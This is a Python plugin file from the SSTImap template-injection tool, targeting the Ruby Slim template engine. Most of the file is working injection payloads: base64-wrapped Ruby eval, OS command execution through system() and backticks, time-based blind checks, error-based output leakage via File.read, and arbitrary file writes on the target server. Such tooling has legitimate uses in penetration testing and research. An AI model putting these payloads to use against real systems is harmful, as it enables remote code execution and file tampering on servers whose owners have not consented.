from plugins.languages import ruby
from utils import rand


class Slim(ruby.Ruby):
    priority = 5
    plugin_info = {
        "Description": """Slim template engine""",
        "Authors": [
            "Emilio @epinna https://github.com/epinna",  # Original Tplmap payload
            "Vladislav Korchagin @vladko312 https://github.com/vladko312",  # Updates for SSTImap
        ],
        "Engine": [
            "Homepage: https://slim-template.github.io/",
            "Github: https://github.com/slim-template/slim",
        ],
    }

    def init(self):
        self.update_actions({
            'render': {
                'render': '{code}',
                'header': """|#{{{header[0]}+{header[1]}}}""",
                'trailer': """#{{{trailer[0]}+{trailer[1]}}}""",
                'test_render': f"""#{{({rand.randints[0]}*{rand.randints[1]}).to_s}}""",
                'test_render_expected': f'{rand.randints[0]*rand.randints[1]}'
            },
            'render_error': {
                'render': '{code}',
                'header': """|#{{$h=({header[0]}+{header[1]}).to_s}}""",
                # Body needs to set b as the output
                'trailer': """#{{$t=({trailer[0]}+{trailer[1]}).to_s}}#{{File.read("Y:/A:/"+$h+$b+$t)}}""",
                'test_render': f"""#{{$b=({rand.randints[0]}*{rand.randints[1]}).to_s}}""",
                'test_render_expected': f'{rand.randints[0]*rand.randints[1]}'
            },
            'evaluate': {
                'evaluate': """#{{{code}}}""",
                'call': 'render',
                'test_os': """RUBY_PLATFORM""",
                'test_os_expected': r'^[\w._-]+$'
            },
            'evaluate_error': {
                'evaluate': """#{{$b=({code}).to_s}}""",
            },
            'evaluate_boolean': {
                'call': 'inject',
                'evaluate_blind': """|#{{require'base64';1/(!!eval(Base64.urlsafe_decode64('{code_b64}'))&&1||0)}}"""
            },
            'evaluate_blind': {
                'call': 'inject',
                'evaluate_blind': """|#{{require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay})}}"""
            },
            'execute_boolean': {
                'call': 'inject',
                'execute_blind': """|#{{require'base64';1 / (system(Base64.urlsafe_decode64('{code_b64}'))&&1||0)}}"""
            },
            'execute_blind': {
                'call': 'inject',
                'execute_blind': """|#{{require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}})}}"""
            },
            'write': {
                'call': 'inject',
                'write': """|#{{require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }}}}""",
                'truncate': """|#{{File.truncate('{path}', 0)}}"""
            },
        })

        self.set_contexts([
            # Text context, no closures
            {'level': 0},
            # TODO: add contexts
        ])
